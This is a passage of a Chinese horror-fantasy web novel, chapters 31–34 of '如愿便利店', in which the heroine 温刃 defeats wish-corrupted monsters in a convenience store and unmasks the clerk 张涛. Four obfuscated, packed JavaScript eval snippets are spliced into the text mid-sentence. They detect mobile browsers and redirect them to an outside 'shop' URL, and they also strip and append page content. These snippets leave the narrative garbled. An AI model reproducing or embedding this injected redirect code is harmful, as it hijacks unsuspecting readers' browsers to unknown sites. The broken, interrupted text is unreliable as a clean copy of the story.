直到长到两米二，这种奇怪的扭曲才停止下来。 它们的脚从鞋子里撑破出来，脚趾长得像树根，深深扎进地板里。 两个老人脸中间那条线逐渐加深，准确来说，那更像是刀制造的切痕，这个痕迹在不断加深。 老人的脑袋像是被人从中间切开，逐渐向两边开裂。 看裂的那两边又迅速生长，直到补全了另外半边的脸。 老太太现在变成了双头人，但却共用一个身子。 “没错，”老太太冷哼一声，再也不伪装了，“我的能力确实是这样。” “只要你主动触碰我。”老头的嘴接上。 “并且识破我的异常。”老太太的嘴又接上。 “我就会分出一部分主动地转移到你的身上，”两个声音同时响起，重叠在一起，“成为你的一部分。” “这样你就能见到我了。” 老太太嘎吱嘎吱转动头颅，看向旁边的老头：“老伴儿呀，我终于见到你了，我终于实现我的愿望了，便利贴的事情是真的。” 老头的那半张脸也在笑，笑容比老太太的更用力，嘴角咧到了耳根，露出里面发黑的牙龈：“是的呀，我的老伴啊，我也终于见到你了，不过呢……” 他的眼睛转向温刃，眼神冷了下来：“面前有一个异能者，她阻挡了我们的脚步，甚至有可能超度我们，一旦让她活着出去，让她汇报给了其他的执法官……” “那这样我们就会分开了。”老太太的头接过话。 “我们应该永远在一起。”老头的头说。 “永远不分离。”两个声音同时说。 温刃看着它们，胃里一阵翻涌。 不是因为对面那两个头共用一个身体的模样，虽然那个画面确实恶心到了极点。 而是因为她自己的右半边身子。 她低头看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521693|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼自己的右手。 那只苍老的手，还紧紧地抓着她自己的左手。 她的右腿还在发抖，膝盖弯曲，脚尖点着地面。 她的右半边身子佝偻着，肩膀塌陷，脊椎歪斜，整个人像是一个被压弯了腰的老太太。 这种状态很恶心，像是有一半的皮被人撑爆，失去了控制。 话说，她会不会也变成对面那个样子？ 脑袋从中间裂开，长出第二个头，变成一个不人不鬼的怪物？ 不，不行。 温刃等了一会，发现并没有出现异常，看来刚才那样只是老太太恢复了原本的容貌，恢复丧诡的样貌。 她只是被控制了，和老太太的情况不太一样。 丧诡这些家伙太可怕了。 它们居然会利用人类的善意，设下这样一个局，引诱她主动上钩。 可是，这个老太太，她到底是怎么变成丧诡的？ 是她一开始就是丧诡，伪装成人类进入这家店？ 还是在写下了便利贴之后，才变成了现在的模样？ 温刃看着对面那两个头，忽然想到了老太太许下的愿望。 她说她想要见到自己的老伴。 现在，她的老伴从她身体的一半里长了出来。 好吧，这也算是实现愿望了。 “不行，必须破局。” 她的左手抓住了旁边货架上的一根伸缩杆，直接抽出来，然后以迅雷不及掩耳之势砸向自己的右腿。 咔嚓。 老太太那边的半条腿直接被打断，她原本骨骼就比较脆弱，这下子更是无法动弹。 这种痛感传给了温刃。 温刃也分不清究竟是自己的半边身子变成了老太太，本质还是自己的……还是说，这半边身子直接被替换成了老太太，彻底失去了那半边身子呢？ “啊啊啊！”她的右半边脸发出了尖叫。 那不是温刃的声音，是老太太的声音，甚至满腔怒意：“你居然敢这样！你敢毁了我的腿！” 温刃咬着牙冷哼一声：“这不是你的腿，这是我自己的腿，我也很痛的好吗？” 她的右腿断了，但老太太控制她的那半边身子也动不了了。 这就是她思考的解决办法。 老太太不是想控制她吗？废掉了就控制不住了。 对付丧诡，只能下狠手。 它们已经不是人类了。 那只苍老的右手还在挥舞，想掐住温刃的脖子把她掐死。 温刃又举起了杆子，直接砸向自己的右臂。 咔嚓一声。 她的右臂在肘关节处弯折了，直接垂落下去。 “疯了，你真是疯了！”右半边脸的尖叫更尖锐了，但尖叫之后，那只右臂就再也没有动过。 温刃大口大口地喘着气，她差点要痛到昏过去。 可这根本是个机会，对面的老太太本体似乎也感受到了疼痛，蜷缩着身子发出呜咽。 温刃趁着这个机会冲了过去：“侵蚀！” 老太太的眉心果然被侵蚀出一个大洞，晶核掉了出来。 温刃依靠这一条腿蹦蹦哒哒，一个滑铲，抓住掉落在地的晶核，握在手中。 “果然啊，我这半边身子其实就是你之前的另外半边身子。” “你等于说是把另外半边身子放到了我的身上。” “只要我这边受伤，你那边也会感同身受，你也会受到影响。” 温刃冷哼一声。 “好啊，”老太太气的扭曲，“你果然很果断。” 温刃冷哼一声，直接把晶核贴到了幸福手环上：“该结束了。” 她等着手环发光，等着幸福值跳动，等着老太太发出超度时的尖叫声。 可，什么都没有发生。 良久后。 对面的老太太和老头的两个头，同时发出了笑声。 “哈哈哈哈哈哈……” 它们疯狂大笑，一脸嘲讽，笑得上气不接下气。 温刃意识到了什么，低下头，看向自己的幸福手环。 屏幕上的数字不是正数。 而是-25。 31. 如愿便利店5 温刃不可置信看着自己手腕上那个显示着-25的数值。 为什么她的手环显示为负数？ 要知道，幸福值为负数的时候，人一定会变异。 这是高塔世界最基本的常识。 可是现在，她一点变异的迹象都没有。 她低头看了一眼左手手腕上贴着的那块寿衣碎片，它和之前一样，没有什么变化。 按理说这种有使用限制的东西，在压制过变异之后应该会出现一些变化。 但它没有。 那就只有另一个可能了…… 幸福值为负数却没有产生变异，说明…… 这个幸福手环根本不是她的！ 这是一只丧诡的幸福手环，只有丧诡的手环数值才为负数！ 而面前唯一的一个丧诡，就是那个老太太。 也就是说……这个手环是老太太的！ 到底是什么时候？ 她的手环是什么时候被调包的？ 等等。 老太太之前打翻了水瓶，水泼在她的手环上，老太太慌慌张张地帮她解下手环，在自己的衣服上反复擦拭，然后重新戴回她的手腕上。 就是那个时候。 就在那个时候，手环被调换了！ 温刃看了过去，老太太的手上也有一个幸福手环。 老太太把自己的手环戴在了它的手腕上，把她的手环藏在了自己身上。 可惜，自己为什么连这个都没发现。 而正常人在没有遇到危机的时候，不会一直去观察手腕上手环的数值。 不。 既然老太太都能用幻觉，伪造自己已经变异的事实。 那就说明这负数的手环，可能也曾经被它伪装成了正数。 所以她才没有发现不对劲。 温刃突然感觉到一种深深的毛骨悚然，起了一身鸡皮疙瘩。 这一刻她深刻地意识到，丧诡这种东西，拥有着何等可怕的高智商。 她在一步步步入陷阱，一步步走入绝绝境。 哪怕这个人曾经是个老太太，但是在变成丧诡之后，智商似乎上升了一整个层级。 这个老太太变成丧诡之后，一直在精心设计这个局，一步一步地把温刃引入陷阱。 它利用自己的能力，假装无意间露出破绽，让温刃主动怀疑她、主动接近她、主动触碰她。 然后，它的能力发动了，一半的身体转移到了温刃身上，把温刃的半边身子变成了老人的模样，彻底限制住了她的行动。 温刃本身是异能者，而这个老太太可能只是一个刚诞生的低级丧诡。 它知道光靠自己的力量打不过温刃，因为它不知道温刃的能力究竟是什么。 所以她只能用计谋，先用能力限制住温刃的行动，削弱她的战斗力，并以此试探出温刃的异能是什么。 然后它又设了第二个局，调换幸福手环。 要知道，异能者想要超度丧诡，必须依靠幸福手环。 没有手环，就算挖出了晶核，也无法完成超度，在这期间，丧诡无论受了什么伤，都会瞬间恢复，不死不灭。 而现在，温刃手上的手环是老太太的，老太太身上的手环是温刃的。 温刃发现了，在这个世界里，是无法使用别人手环的。 此题何解？ 这群高塔人就不能设置严谨一点吗？ 就不能让手环能彼此之间利用，就不能让她能使用别人的幸福手环吗？ 温刃突然感觉到一种深深的无力感。 她之前遇到的那些丧诡，比如周正明，只会攻击，保安虽然会算计，但没有算计到幸福手环这一层。 老太太保留了人类的思维，会用人类的逻辑来算计，会一步一步地把她推向绝境，让她陷入一个无法被解决的死局。 她现在没有了异能手环，就无法超度对方，那就代表着这个丧诡无法被杀死。 无论她怎么攻击老太太，老太太都会再次复原。 这是一个很可怕的事情。 一定还有某种办法能解决这一切。 要是Zero在身边就好了。 温刃现在觉得，Zero在身边反而有安全感，因为除了她没人能看到Zero。 Zero还能帮她超度，完全不用自己跑腿…… 太轻松了好吧？ 如果她现在死在了这里，那就又要和那个恐怖的存在做交易，用更多的幸福值来复活。 她不知道那把剑上的符文逐渐消散会带来什么后果，但她可以肯定，后果绝对不会好。 指不定有大恐怖发生。 她绝对不能这么被动下去了。 温刃快速冷静下来，但心跳还在加快。 这一次的局面，比现实世界中的新辰科技要好一点。 至少她知道自己面对的是什么，至少对方不是那个看一眼就会让人疯狂的实验体。 老太太一直在算计，一直在设局，那就代表它的实力并不是很强。 它的能力发动有很严格的限制，她的身形只有两米多高，按照丧诡的等级划分，现在最多只是D级，甚至还没有周正明的威胁大。 冷静下来。 一定有解决办法。 温刃的目光开始在老太太身上搜索。 等等。 老太太为什么一直拿着她温刃的手环？ 如果把手环扔掉，扔到温刃碰都碰不到的地方…… 比如直接从窗户扔到高塔底部，扔到高塔的深渊里，那温刃就算一时半会去找也找不着，那她不就会陷入深深的绝望，根本无法超度吗？ 这样不是更好吗？ 这可是明眼人都能想到的办法。 可是老太太为什么不扔呢？ 难道……跟距离有关？ 对了。 手环毕竟能超度丧诡，一定是某种极度特殊的装备，肯定跟持有者有某种绑定关系，不然早就被丧诡抢走了。 难道说……手环在远离持有者一定距离之后，会回到持有者的手上？ 所以，这才是老太太不丢掉手环的缘故？ 如果是这样，一切就有解释了！ 温刃燃起希望，如果她的猜测是对的，那她只需要把这个手环扔到足够远的地方，它就会自动回到老太太的手腕上。 而且，老太太手上那个她的手环，说不定会被顶掉。 到那个时候，她就有机会抢回自己的手环。 反正老太太的手环对温刃来说也没什么用，扔掉也不可惜。 温刃挪到了那扇漩涡门旁边，门没有反应，完全纹丝不动。 “果然如此，”温刃低声说，“你不会让我轻易离开的。” 她没有慌张。 之前遇到周正明的时候也是无法离开，她当时用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523827|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侵蚀能力在玻璃上开了个洞。 现在也是一样。 “侵蚀。” 门中间被侵蚀出一个小洞，但跟之前一样，维持这个小洞需要不断消耗幸福值。 温刃没有犹豫，快速用左手抓起老太太的手环，从那个洞里用力扔了出去。 手环飞出了便利店，飞出了13层的边缘，坠入了高塔下方那片深不见底的黑暗中。 但大门因为没有温刃力量的维持，很快又再次复原。 温刃没有在这上面浪费自己的幸福值，去一直维持门的敞开。 她知道自己不能跑，现在跑出去耐幸福，手环永远会被留在这里，永远无法超度。 那她就废了。 赌一把！ 反正现在也不是绝境！ 老太太能给她做局，她又何尝不能给老太太挖坑呢？ 温刃盯着老太太。 下一秒，老太太的手腕上突然多了一个新的手环，就是温刃刚才扔出去的那一个，显示着-25的。 而老太太原本拿在手里的那个手环被顶掉了，从它的手腕上脱落，掉在了地上。 “呵呵，果然！”温刃趁着这个机会冲了过去，右腿在地上拖行，一个滑铲抓住了地上的手环。 温刃没有给老太太任何反应的时间，老太太的核心还在她手心里，她拿着那个核心直接放到手腕上。 “超度！” 这次手环终于亮了，幸福值也在不断降低。 温刃感觉幸福一下子被抽空，一股深深的悲哀笼罩了她。 但她很兴奋，她想大笑一声，因为她猜对了，幸福手环就是一个特殊物品，这种悲哀的感觉也代表着超度真的成功了。 温刃发现，确实如同秦朗川所说，幸福值时高时低，一会高兴，一会悲伤的，容易把人逼疯。 她现在又想哭又想笑的。 老太太发出了尖叫。 “啊啊啊啊！” “不，不可能，”老太太的头在尖叫，五官不断扭曲，“你怎么会，你怎么能……” “我明明做绝了，我明明每一步都算好了！” “你居然能打开大门，你居然能打开大门！” “凭什么你的一半脑子已经不是你的了，你居然还能思考，你居然还能发现一切！” 它错就错在为了不让温刃怀疑，把温刃的手环戴在了自己手腕上。 老太太的身体开始崩溃，从脚开始，一点一点地化为灰白色的粉末。 那些粉末飘散到空中，在灯光下闪烁着。 “老伴啊，”老太太的头在最后一刻转向了老头的头，那双浑浊的眼睛里涌出了眼泪，“我好不容易才跟你在一起……” “我不想离开你，你不是说好带我去其他高塔看看的吗？你不是说好陪我一起的吗？” “可我变成丧诡了……” “我为什么会变成丧诡啊……” 老太太最后看向温刃，满脸恶毒：“该死的，你不得好死！你会死的！你一定会死的！” 说完一切后，她彻底化为粉末。 温刃松了一口气。 闹这么大，执法官为什么没有反应？ 为什么没人支援？ 她看向面前。 老太太已经消失了。 可老头还在，他只剩下半边身子，扭曲的红色生肉在不断蠕动着，发出滋滋的恶心声音。 32. 如愿便利店6 老头终于有了反应，他对着老太太消失的地方哀嚎起来：“老伴啊，你怎么……你怎么就离我而去了呢？” 温刃看着老头只剩下的半边身子。 她完全没想到，老头居然跟老太太不是一体的。 也就是说，这里其实是有两只丧诡的。 “我舍不得你啊，”老头不断哀嚎，“我好不容易复活了，我们好不容易能在一起了……” 他居然在哭泣，在流泪。 “可是你死了，你被超度了，那我该怎么办啊，我是因为你而存在的……” “我不想离开你……我不想一个人……” 自从老太太小时之后，温刃的右半边身子已经完全恢复，就连原先留下的伤口都不见了。 她看着面前哭泣的老头，难道说丧诡也会伤心吗？ 也对，毕竟他们除了外形跟人类没什么区别，或许，也拥有人类的情感…… 突然，老头想到了什么，停止哭泣：“既然这样，那我也不活了。” 它抬起一只手，居然把核心从眉心生生挖了出来，把那晶核扔向了温刃。 晶核在地上弹了两下，滚到了温刃的脚边，还带着些血迹。 “超度我吧。”老头说。 温刃：？ 她低头看着脚边那颗晶核，又抬头看着老头。 难道这就是传说中的殉情？ 但……这一切真有这么简单吗？ 经历了这一切后，温刃再也不会相信丧诡了。 她知道丧诡是拥有人类思维的，但它们本质上已经不算是人类了。 就像刚才的老太太，她本身或许在作为人类的时候，在写下便利贴之前，是那个温柔的、思念老伴的老人。 可是自从变成了丧诡之后，她的智商上涨了，变得格外擅长算计，会设局，会欺骗，会利用人类的善意和好奇心。 现在这个老头呢？ 它明显不属于老太太的那一部分。 它是一个独立的个体，一个独立的丧诡。 它是这里的第二只丧诡，又怎么可能殉情？ 温刃不相信这个老头会这么好心。 她抬起手，对准了老头的眉心。 “【侵蚀】。” 幸福值再次降低。 老头的眉心裂开，可在里面，居然还有一颗晶核！ 这说明……地上那颗是假的！ 温刃冷哼一声：“果然啊，我就知道你们如此狡诈，是绝对不可能把晶核直接交给我的。” 老头的嘴角抽搐了一下。 “假装伪装成殉情的样子，其实给了我一个假的晶核，”温刃继续说道，“如果我猜得没错的话，这就是你能力的发动方式。” 听到这话，老头的脸开始扭曲。 温刃：“难道……我接触到某种虚假的物品之后，你或许也能像是那个老太太一样寄生到我的另一半躯体之上，对吧？” 这一回，老头的表情彻底变了。 它不再假装痛苦，不再假装悲伤，而是满脸杀意。 它咬牙切齿：“好啊，你果然很聪明，怪不得我老伴也栽在你的手上，而且，你的能力也不弱，你居然可以【侵蚀】物体。” 它说话的声音越来越大，满腔怒意。 温刃没有说话，加大侵蚀力道。 在她说话的这段时间里，老头的额头被侵蚀出一个大窟窿，它的血肉再也支撑不住晶核的重量，任由晶核落地。 温刃再次一个滑铲，捡起那枚真正的晶核就往手上贴。 老头难以置信：“该死的，你也在算计我，你居然趁着我分神的时候……” 它声音突然断掉，因为它发现自己在消散，在逐渐化作粉末。 它正在被超度。 不，它已经被超度了大半部分。 那些粉末飘散到空中，落在倒塌的货架上，落在地上的碎玻璃上，落在温刃的手臂上。 “老伴啊，我不甘心，”它的声音越来越轻，越来越远，“我不……” 最后一个字没有说完。 它终于彻底消失了。 便利店里安静了下来。 温刃急忙扶住旁边的货架：“看来这事是真的解决了。” 温刃从口袋里掏出通讯器。 屏幕亮了起来，信号格满了。 这说明附近已经没有丧诡了。 她拿着手机看了一会，看到了什么后，面色一变…… 就在这时。 仓库的门终于打开了。 张涛从里面走了出来。 他一边走一边拍着手上的灰，嘴里还嘟囔着什么“传送带老是坏”之类的话。 然后他抬起头，看到了便利店里乱糟糟的货物，还有气喘吁吁皱眉休憩的温刃。 张涛：？ 张涛说话都不利索了：“小温，这，这到底发生了什么？” 货架倒了好几排，商品散了一地。 能量凝胶的包装袋被踩碎了，合成蛋白棒滚得到处都是。 温刃靠在货架上，看着他的表情，忽然觉得有点想笑：“刚才发生了一点事情，出现了一只丧诡，我给解决了。” 张涛的嘴巴张得更大了，他盯着温刃看了好几秒，然后往前跨了一步，一脸崇拜：“你居然能解决丧诡？你是异能者？你好厉害啊！” “怪不得你刚才那么淡定，原来你根本不怕啊！” 他蹲下来开始整理地上的东西，一边捡一边说：“但是现在货架这个样子，我估计得赔很多钱，但是你是异能者，你就是高塔的英雄，这点钱我来出了。” “毕竟教科书里都说了，异能者是高塔最美丽的瑰宝。” “是你们守护了人类的安全。” 他的动作很快，把散落的商品一样一样地捡起来，分类放到不同的箱子里。 一看就是天选打工人。 温刃没有帮忙，她只是靠在货架上，看着他忙碌。 就在此时，张涛的动作忽然停了。 他抬起头，看着温刃，眉头微微皱了起来，满是疑惑：“不对呀，小温，你既然是异能者的话，已经是可以加入执法队的。” “执法队的工资可不低呢，你怎么想到了来这个便利店面试呢？” “咱们保底工资才五千，要知道，执法官工资都过万了，解决一起事件还有加成，算下来一个月五六万是有的。” 温刃没想到这个店员居然这么聪明，一下就问到了点子上。 张涛很快就笑了一声，像是自己给自己找到了一个合理的解释：“难道你们是里边有人有预知能力，已经预料到这个店里会出问题，所以……你是提前过来解决的？” 他歪了歪头：“不过，我好像没有在执法官的这个名单里看到你呢。” 温刃也笑了：“啊，是这样的，我还没有入职呢，这次只是巧合，碰巧过来罢了。” 张涛点了点头，脸上的疑惑消散了：“原来是这样啊，那看来是没有预知能力了。” 他站起来，拍了拍手上的灰：“那你要不要来吃点东西？我花钱给你买，哎呀，未来的执法官大人，我们小店以后还需要你来保护平安呢。” 温刃摇了摇头：“我暂时还不饿，但是我有一件事情想要跟你说，我这次过来，就是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530119|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这件事的。” 张涛的眼睛亮了一下：“啊？大人啊，你有什么事情啊？” 温刃看着他的眼睛，语气很平静：“我这次过来……其实是为了调查一个店员的。” “曾豪，他是我的朋友，但是他离奇失踪了，我知道他曾经在这里工作，所以准备过来问问。” “不过……你看起来没有问题，应该跟他的失踪没有关系。” 温刃终于说出了自己的真实目的。 经过老太太这件事后，她实在是不想拐弯抹角了，她指向快点找到曾豪，解决变异的问题。 张涛吓了一跳，急忙摆手：“你要是说这个的话，我当然记得他。他曾经是这里的店员，本来我们两个交替工作的，那个时候工作还轻松点。” “但是在某一天，他突然失踪了，之后就只剩下我一个人。” “哎呀，可把我累死累活的，虽然说我的工作多了，钱也多了，但是我累呀。” “你看我脸上的黑眼圈，我有时候连一个小时都睡不够。” “这可是二十四小时便利店，就我一个员工，要说压榨也不该这样啊。” “他失踪了？”温刃打断了张涛的话。 张涛点了点头：“嗯，但我也不知道具体情况，不过我这里还有他的员工工牌和他的每天的出入记录，或许有点线索，你要不要看？” 温刃点了点头：“好，这次多谢你的帮忙了。” 她顿了顿，又说：“不过，你们这边待遇挺好的，我还挺想留在你们这儿工作的，说实话，执法官那边还挺危险。” “他们成天要跟丧诡打交道，简直是令人头疼。” 张涛点了点头，一边往仓库的方向走一边说：“是呀，执法官可危险了，异能者都是在刀尖上舔血的呢，就是因为这个，我才不想成为异能者……” “小温，你跟我来吧，刚好这些东西就放在了仓库里。” 温刃跟在他身后，往仓库走去。 她终于明白了为什么之前在电视上看到了曾豪的工牌，但店里却没有看到那个人的影子。 原来他的工牌被收到了仓库里。 仓库的门比较厚重，里面的空间比外面看起来要大得多。 头顶的灯管有些接触不良，忽明忽暗地闪烁着，让整个空间的光线变得很不稳定。 张涛走在前面，他的影子在地面上拉得很长很长。 “那你等等我啊，我去找一下，”他的声音从前面传来，“你在这里等我。” 他走进了深处。 那盏唯一还亮着的灯管闪了几下，然后灭了。 黑暗从四面八方涌过来，像是有实体一样，一点一点地填满了整个空间。 温刃站在原地，听着张涛的脚步声越来越远，越来越轻，最后完全消失在黑暗中。 就在此时。 黑暗里响起了一道声音。 “欢迎光临。”先是一道合成音。 之后，响起一道轻疑：“唉？这门怎么打不开了？” 准确来说，那道声音是从外面传来的。 从仓库之外传来。 温刃瞳孔骤缩。 这声音，分明是大门处传来的声音…… 这说明，站在仓库里，是能听到外面声音的。 可是……她刚在在外面呼唤张涛的时候，他为什么一点反应也没有？ 温刃有了一种不好的感觉，她摸出通讯器，低头看了一眼。 屏幕左上角，信号格是空的。 无信号。 没信号的情况只有一种。 也就是说……这里有一只丧诡。 33. 如愿便利店7 灯管又闪了一下。 在那一瞬间的光明里，她看到前面的铁架旁边，站着一个人影。 那个人影背对着她，穿着一件皱巴巴的员工服。 “欢迎光临。”外面，那个声音又响了一次。 站在外面的那人似乎有些不耐烦：“什么啊，不开门也不挂个牌子，什么破便利店。” 外面再也没有声音传来。 那个人似乎离开了。 黑暗里，张涛的声音忽然响了起来：“哎，小温，我找到这个工作证了！你要不要过来看一下？” 温刃没有回答。 张涛继续呼喊：“小温，我说我找到工作证了！” “小温！” 温刃还是不理他。 “小温？你听到了吗？我找到了……” 温刃依然没有理他。 “小温！” “小温……” “嘻嘻嘻……” 黑暗里响起了笑声，然后越来越大，越来越放肆，最后变得尖锐又刺耳。 “啧，真烦啊，没想到这个时候居然有人来到店里，让我一切的准备都功亏一篑了……” “啧啧啧，真是该死的东西。” 他说着恶毒至极的话语，跟刚才热情的模样判若两人。 “小温啊，看来你也发现了，这个仓库其实根本不隔音啊，刚才你们发生的一切，我都听到了呢。” “所以，你才不回应我，因为……你发现我说谎了啊。” “聪明如你，一下子就意识到了不对劲。” “哎呀，现在你看到自己的手机没有信号，是不是很恐怖呢？” 张涛的声音越来越近，像是在朝她走过来，但脚步声却一点都听不到。 “通讯器绝对不可能出现没有信号的情况，只有一种可能……那就是代表附近有一只丧诡，所以才影响了信号。” “你是不是没有想到，这里还有一只丧诡？” 灯管又闪了一下。 在那短暂的光明里，温刃看到了一张脸，张涛的脸。 那张脸从黑暗中浮现出来，像是从水底慢慢升上来的尸体。 它的皮肤是灰白色的，布满了细密的裂纹，像是干涸的河床。 它两只眼睛的瞳孔不一样大，左眼缩成了一个小小的黑点，右眼却扩散到了整个虹膜，像是一个黑洞。 然后灯灭了。 温刃想到了一个问题， 如果，每一个使用了如愿便利贴的人都会变成丧诡，那这个张涛，他是这里的店员，是距离便利贴最近的人。 如果他也在某个时候使用了便利贴，许下了某个愿望，那他是不是也变成了丧诡？ “难道你也使用了如愿便利贴？”温刃问。 张涛发出一声惊疑：“看来你果然很聪明啊，毕竟能杀死那个老太太的人，不可能太笨。” 温刃继续说：“不用猜了，效果已经很明显了。” “那个老太太在使用了如愿便利贴之后就变成了丧诡，而你居然也是丧诡，这代表着，你曾经或许也可能使用了这个便利贴。” “便利贴能实现愿望，但一定会付出代价。” “表面上看起来不用付出任何代价，但愿望会被扭曲，而每一个许愿者，最后都变成了丧诡。” 这个东西太可怕了，它到底是什么存在？ 是某种异能？ 张涛冷笑一声：“确实，你的猜测非常正确。” “我一直是这里的店员，只是这里的工资开始并不是很高，我并不足以负担起这样的生活。” “我想要过更好的生活，所以我在便利贴上许下了愿望。” “我那时候比较傻，许下的愿望居然是希望便利店的客人多一些。” “没想到现在就变成了这副样子，可是我也愿意啊。” 他的声音无比兴奋：“这副样子又有什么不好，我直接变成了丧诡，不会被幸福值所束缚，这样才是最完美的……你拿到便利贴的那一刹那，没有想过许下愿望吗？” 温刃后退了一步。 她终于想明白了。 如愿便利贴这么重要的东西，为什么放在收银台上却没有上锁？ 为什么一个普通的店员可以随意打开？ 按理说，摆在明面上的应该是赝品。 因为张涛是故意的。 它故意把便利贴放在那里，故意让温刃看到，等她许下愿望，变成丧诡。 这个张涛，从一开始就在算计她。 或许，张涛从一开始就是丧诡。 他故意离开，而留下便利贴，就是为了等温刃许下愿望并变异。 可惜，温刃并不贪婪，她只想找到曾豪。 没想到却被老太太许下愿望，产生变异。 但这样，张涛的目的同样达到了。 老太太是他的棋子，他利用老太太，试探出温刃的能力，消耗了温刃的幸福值。 而在温刃放松警惕的时候，带她来到仓库。 要知道，刚才张涛一直躲在仓库里。 他在做什么？ 以丧诡的智商跟习性，张涛肯定在布置陷阱。 张涛既然在这个时候暴露出来，那就证明他现在已经是有恃无恐了。 证明他的陷阱已经布置完毕了。 下一秒，温刃就见到了所谓的陷阱。 不远处，纸箱在蠕动，塑料袋在膨胀，金属罐头嘎吱作响。 那些声音从四面八方涌来，密密麻麻的，像是有什么东西在那些包装里面疯狂地生长。 灯管又闪了一下。 温刃看到了。 食品区的那一排能量凝胶，原本是透明的包装袋，里面装着方方正正的凝胶块。 现在那些凝胶块膨胀了，撑破了包装袋，像是一坨坨还在蠕动的肉瘤，从货架上往下淌。 它们没有固定的形状，发出咕噜噜，啪嗒啪嗒的声音，不断向前缓缓蠕动， 饮料区的那一排瓶子，瓶盖崩开了，里面的液体流了出来。 它们鲜红且满是血腥味，在地上汇聚成一滩，所过之处，在地板发出滋滋的腐蚀声。 生活用品区的那一排记忆播放器里面的设备掉了出来，那些设备的屏幕上亮着光，有看不清的虚影从里面爬了出来。 整个仓库……居然活了！ 这些货物在产生变异，它们似乎被赋予了生命，却像是许下愿望的人一样，变得扭曲，不可理解。 张涛站在那些怪物的中间，身体也在变化。 员工服被从里面撑破，布片挂在身上一条一条飘荡。 它的脑袋开始拧，头皮裂开，骨头渣子从裂缝里往外翻，血肉像被一只看不见的手重新塑造。 它脖子先缩进去，然后整张脸朝两边扯，扯成两团肉块，一块叫“如”，一块叫“愿”。 “如愿”两个字，用它的肉和骨拼出来的。 “如”字左边那个“女”，是他的左半边脸皮拉成的，颧骨在笔画拐角处顶出一个硬疙瘩。 右边的“口”，是他的嘴撑开来的，嘴唇翻在外面，露出牙齿，牙齿咬着一截断掉的舌头，舌头落在“口”字的下横上。 他的左眼珠滚到了“如”字的顶端，嵌在那一撇的起笔处。 另一边，“愿”字更乱，也更加恶心。 “心”的中间那一点是他的右眼珠，被血肉糊了半颗，瞳仁朝上翻。 上面的“原”字头是他的额骨掀起来搭成的，骨片发白，边缘挂着碎肉。 他就顶着这两个字站在怪物中间，眼珠子时不时转一下，嘴里的断舌往外淌血。 风吹过来，“如愿”两个字上的肉还在微微飘动，传来一股浓浓的血腥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温刃的幸福值也停在了1。 她没有幸福了。 想要超度张涛，她自己就要变成丧诡。 张涛看着她的手腕，一脸满意：“1点幸福值……” “你要超度我，起码得用8点，你的幸福值现在根本不够用啊。” “如果你强行超度我，你自己也会变成丧诡的，那这样，你超度我又有什么用呢？” 他慢慢地转过身，从那排已经空了的货架上，拿起了一把菜刀。 他朝温刃走过来，压迫感越来越强。 温刃没有后退，她站在那里，看着张涛一步一步地靠近。 她抬起手，对准了张涛。 张涛停了一下，菜刀举在半空中，冷笑一声：“你想侵蚀我？你确定？你只剩1点幸福值了……” 温刃：“【侵蚀】。” 话音落下，张涛发现自己并未受到任何伤害。 他摸了摸脑门，那里一点伤害都没有，他不由嗤笑一声：“喂，小温，你疯了吧，能力都使用不出来……” 可下一秒，他皱起眉头。 因为，收到侵蚀的不是他。 而是仓库大门。 但不是对准张涛。 下一秒。 从那扇仓库大门被侵蚀出的洞里，有什么东西冲了进来，缠上了张涛举着菜刀的那只手。 在这个距离下，张涛终于看清那是什么了。 那是头发。 那是漆黑浓密，像是活物一样的长发。 34. 如愿便利店8 那些头发缠到了张涛身上，并且源源不断地往它身上蔓延。 温刃知道自己赌对了。 她一早就发现了不对劲。 老太太虽然变成了丧诡，可她跟老头的能力，都类似于将自己身体的一部分嫁接在别人身上，以此来达到控制别人的效果。 而按照老太太之前的叙述，看样子老太太和老头生前并不是异能者。 所以由此推断，他们变成丧诡之后，本身的体型并不庞大，是绝对不可能拥有第二异能的。 那么，老太太之前隐藏自己变异时使用的幻觉能力，又是怎么回事？ 那只能说明……这个能力来自于另一个丧诡。 也就是张涛。 张涛之前莫名其妙接触了老太太，说明他的幻觉施加条件也是接触。 温刃在推断出这一切之后，就掏出了通讯器，发现通讯器上面其实是有信号的。 这不是幻觉，她甚至还能发出消息。 